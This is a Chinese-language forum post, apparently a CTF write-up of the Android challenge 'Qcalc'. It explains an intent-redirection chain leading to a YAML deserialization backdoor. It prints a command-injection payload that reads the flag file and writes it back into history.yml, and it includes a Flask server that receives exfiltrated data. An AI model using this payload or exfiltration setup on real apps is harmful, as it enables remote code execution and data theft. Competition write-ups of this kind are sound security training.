首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
CTF对抗
发新帖
1
1
[强网杯S9]Qcalc
发表于: 2025-10-20 10:20
11633
[强网杯S9]Qcalc
Shangwendada
4
2025-10-20 10:20
11633
首先是查看导出的Activity 只有MainActivity导出,但发现有导出的contentProvider  看看是否存在路径穿越  检测了私有目录,这个漏洞点可以直接放弃。 审计MainAcitivy主要是两个处理intent的地方   第一发是把intent存入fallback,第二发是带着fallback进入不导出的BridgeActivity,触发方式在代码中有所体现,通过除0触发异常即可。  记下来就是检查token之后触发之前fallback的Activity,这里还有一个有意思的URI,通过provider提供了私有目录下files里面的history.yml,也就是启动的Activity有读写他的权限,接下来看与History相关的代码  这里发现加载了yaml文件然后又startAcitivy,本来以为是可以通过这个然后构造content://com.qinquang.calc/../flag-xxxxxx.txt给我的poc apk的但是yaml语法不知道怎么回事,好像构造不了无限报错  无奈放弃,后发现后门函数  直接反序列化执行,拼接命令即可。 那么就是触发loadHistory然后反序列化执行PingUtil了 目前梳理调用链就是Save Intent -> Expected -> Save Intetn -> Expected -> RCE 首先写一个计算token的每次intent都有token校验,我们一开始可以直接调试看输出或者自己计算都可以,token错误会输出期望token  测试一下命令执行  首先利用MT管理器直接手动写入一个Yaml,启动之后手动触发loadHistory  执行了,然后才用分号拼接执行其他命令,这里本来打算cat flag之后dns外带出来,但是后来发现这apk没有网络权限,这就很炸裂了。  然而apk权限的shell也无法写入到data/local/tmp 后想起之前可控的history.yml,将flag回写到history.yml再读取出来就可以了 构造出的yml文件如下 "!!com.qinquang.calc.PingUtil \"8.8.8.8; FLAG=$(cat /data/data/com.qinquang.calc/flag-*.txt); echo \\\"---\\\\nflag: $FLAG\\\\n...\\\" > /data/data/com.qinquang.calc/files/history.yml\""; 最后如何发送又成了问题,这里建立一个服务端 ```python from flask import Flask, request import base64 app = Flask(__name__) @app.route('/receive', methods=['POST', 'GET']) def receive_data(): if request.method == 'POST': data = request.form.get('flag') or request.form.get('data') else: data = request.args.get('flag') or request.args.get('data') if data: try: # 尝试base64解码 decoded = base64.b64decode(data).decode('utf-8') print(f"解码后的数据: {decoded}") with open('received_flags.txt', 'a') as f: f.write(f"{decoded}\n") except: print(f"原始数据: {data}") with open('received_flags.txt', 'a') as f: f.write(f"{data}\n") print(f"收到请求: {request.method}") print(f"Headers: {dict(request.headers)}") print(f"Form data: {request.form}") print(f"Args: {request.args}") return "OK", 200 if __name__ == '__main__': app.run(host='0.0.0.0', port=8000, debug=True) ``` 然后搭一个反代,随便搞一个证书就可以了  这一步是由于一些安全限制,没有整数的域名可能不好传出去,也可以直接不限制,但是忘记怎么写了,懒得调试直接一步到位 接下来就是apk构造了      主体框架大概就是这样 再看看WriteActivity  在看看read的  这就结束了,测试好了直接打包上传就拿到flag了 写wp截图的时候系统好像出bug了,上传了两次没反应第三次上传返回了两个flag奇奇怪怪的(第一次的时候系统正常一个flag) 写wp收flag截图:  代码POC见:<mark class="encrypted">a83K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6e0d9r3q4F1k6%4N6W2L8X3c8S2k6r3q4Q4x3V1k6c8j5$3I4S2j5#2m8G2j5H3`.`.</mark>
登录后可查看完整内容
传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!
#Reverse
#Pwn
上传的附件:
challenge.apk
(6.33MB,29次下载)
收藏
・
1
点赞
・
1
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
ngiokweng
非常支持你的观点!
2025-10-20 17:09
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
1
)
正己
雪 币:
6603
活跃值:
(5263)
能力值:
( LV7,RANK:110 )
在线值:
发帖
18
回帖
61
粉丝
501
关注
私信
正己
2
楼
respect!坐牢坐了一天
2025-10-20 16:55
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
Shangwendada
4
19
发帖
78
回帖
260
RANK
关注
私信
他的文章
某钓鱼木马APP分析
3887
[原创]记录一次Unity加固的探索与实现
20317
[原创][HWS]animals
11242
[强网杯S9]Qcalc
11633
[原创]记录一次加固逆向分析以及加固步骤详解
10283
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
谁下载
×
huangyalei
寻影星尘
mb_wpitiize
Shangwendada
南行
npc0vo
mb_kujsrqqv
mb_lthgjpwj
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部